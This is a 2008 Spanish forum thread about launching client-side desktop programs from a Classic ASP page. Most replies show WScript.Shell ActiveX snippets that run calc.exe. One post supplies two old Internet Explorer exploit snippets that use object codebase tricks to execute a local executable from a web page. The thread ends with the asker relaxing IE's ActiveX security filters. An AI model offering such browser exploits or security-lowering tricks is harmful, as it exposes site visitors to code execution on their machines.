Foros del Web » Programando para Internet » ASP Clásico »

Lanzar otra aplicacion desde ASP

Estas en el tema de Lanzar otra aplicacion desde ASP en el foro de ASP Clásico en Foros del Web. Buenas tardes para todos, Hay alguna posibilidad de lanzar una aplicacion WIN16 y WIN32 desde una pagina ASP. Es decir que desde un link llame ...
  #1 (permalink)  
Antiguo 20/02/2008, 12:37
 
Fecha de Ingreso: febrero-2008
Mensajes: 4
Antigüedad: 16 años, 3 meses
Puntos: 0
Lanzar otra aplicacion desde ASP

Buenas tardes para todos,
Hay alguna posibilidad de lanzar una aplicacion WIN16 y WIN32 desde una pagina ASP. Es decir que desde un link llame a un programa externo de escritorio.

Desde ya muchas gracias.
Leandro.
  #2 (permalink)  
Antiguo 20/02/2008, 12:44
 
Fecha de Ingreso: enero-2008
Mensajes: 614
Antigüedad: 16 años, 5 meses
Puntos: 57
Re: Lanzar otra aplicacion desde ASP

Lanzar una aplicacion del lado del cliente o del servidor? porque si es del lado del cliente creo que se tendria que hacer con javascript
  #3 (permalink)  
Antiguo 20/02/2008, 13:08
Avatar de Myakire
Colaborador
 
Fecha de Ingreso: enero-2002
Ubicación: Centro de la república
Mensajes: 8.849
Antigüedad: 22 años, 4 meses
Puntos: 146
Re: Lanzar otra aplicacion desde ASP

Cierto, puedes investigar con el uso de wscript.shell y su uso para ejecutar aplicaciones dal lado del cliente o del servidor. Ya antes se han hablado de ellas, seguro encontraras algo en las respuestas anteriores o en google.

Ejemplo

También para el cliente, puedes hacer eso de algunas vulnerabilidades del IE (primer obstáculo) aunque si el ciente tiene algún antivirus bueno (segundo obstáculo) no funcionarán:

Cita:
<span id="oSpan"></span>
<script language="jscript" defer>
oSpan.innerHTML='<object classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/winnt/system32/calc.exe"></object>';
</script>
Cita:
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/winnt/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>
  #4 (permalink)  
Antiguo 20/02/2008, 13:20
Avatar de Shiryu_Libra
Colaborador
 
Fecha de Ingreso: febrero-2007
Ubicación: Cantando "Screenager" en "Kirafa Kaput"
Mensajes: 3.614
Antigüedad: 17 años, 3 meses
Puntos: 88
Re: Lanzar otra aplicacion desde ASP

buena vulnerabilidad muestra sensei... pero creo que si tiene algun buen antivirus este se quedara colgado ya que no lo dejara grabarse, por que lo identificara como virus

en palabras del antivurs Exploit-CodeBase.gen
__________________
"Eres parte del problema, parte de la solucion o parte del paisaje"
Un Saludo desde Desierto de Altar, Sonora, MX.
Shiryu_libra

Última edición por Shiryu_Libra; 20/02/2008 a las 13:29
  #5 (permalink)  
Antiguo 20/02/2008, 13:38
 
Fecha de Ingreso: febrero-2008
Mensajes: 4
Antigüedad: 16 años, 3 meses
Puntos: 0
Re: Lanzar otra aplicacion desde ASP

La aplicacion es del lado del cliente. Lo que busco es que desde un link o algun tipo de menu pueda llamar a una aplicacion de escritorio.

muchas gracias
  #6 (permalink)  
Antiguo 21/02/2008, 09:01
 
Fecha de Ingreso: febrero-2008
Mensajes: 4
Antigüedad: 16 años, 3 meses
Puntos: 0
Re: Lanzar otra aplicacion desde ASP

Investigando y haciendo pruebas de "wscript.shell" llego a la conclusion (no se si acertada) de que todo lo que puedo ejecutar es en el Servidor y yo nocesito ejecutar aplicaciones que estan en el CLIENTE. De que manera se puede hacer?

Desde ya Muchas Gracias.
Leandro.
  #7 (permalink)  
Antiguo 21/02/2008, 09:24
Avatar de Myakire
Colaborador
 
Fecha de Ingreso: enero-2002
Ubicación: Centro de la república
Mensajes: 8.849
Antigüedad: 22 años, 4 meses
Puntos: 146
Re: Lanzar otra aplicacion desde ASP

Cómo de que solo en el servidor?

Estas dos lineas abren la calculadora del cliente en IE:

<script language="VBScript">
set WSshell = createobject("wscript.shell")
WSshell.run "calc.exe",1
</script>

Ahora, aquí hay un artículo sobre el tema

http://www.microsoft.com/spain/techn...5/hey1031.mspx

Saludos
  #8 (permalink)  
Antiguo 21/02/2008, 09:24
 
Fecha de Ingreso: enero-2008
Mensajes: 614
Antigüedad: 16 años, 5 meses
Puntos: 57
Re: Lanzar otra aplicacion desde ASP

Para ejecutar aplicaciones del lado del cliente tienes que poner tu codigo en javascript. Aqui un ejemplo de como ejecutar la calculadora

Código HTML:
<html>
<head>
<script>
function ejecutar() {
	var objeto = new ActiveXObject("Wscript.shell");
	objeto.run("calc.exe");
}
</script>
</head>
<body>
<input type="button" name="boton1" value="Calculadora" onclick="ejecutar()">
</body>
</html> 
  #9 (permalink)  
Antiguo 22/02/2008, 06:33
 
Fecha de Ingreso: febrero-2008
Mensajes: 4
Antigüedad: 16 años, 3 meses
Puntos: 0
Re: Lanzar otra aplicacion desde ASP

Haaa, como veran soy bastante nuevo en ASP ja ja.
Ahora funciona lo que pasaba es que hay que habilitar las opciones que filtran los comandos ActiveX en el Exprorer.

Muchisimas Gracias por la ayuda.

Saludos, Leandro.
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 21:38.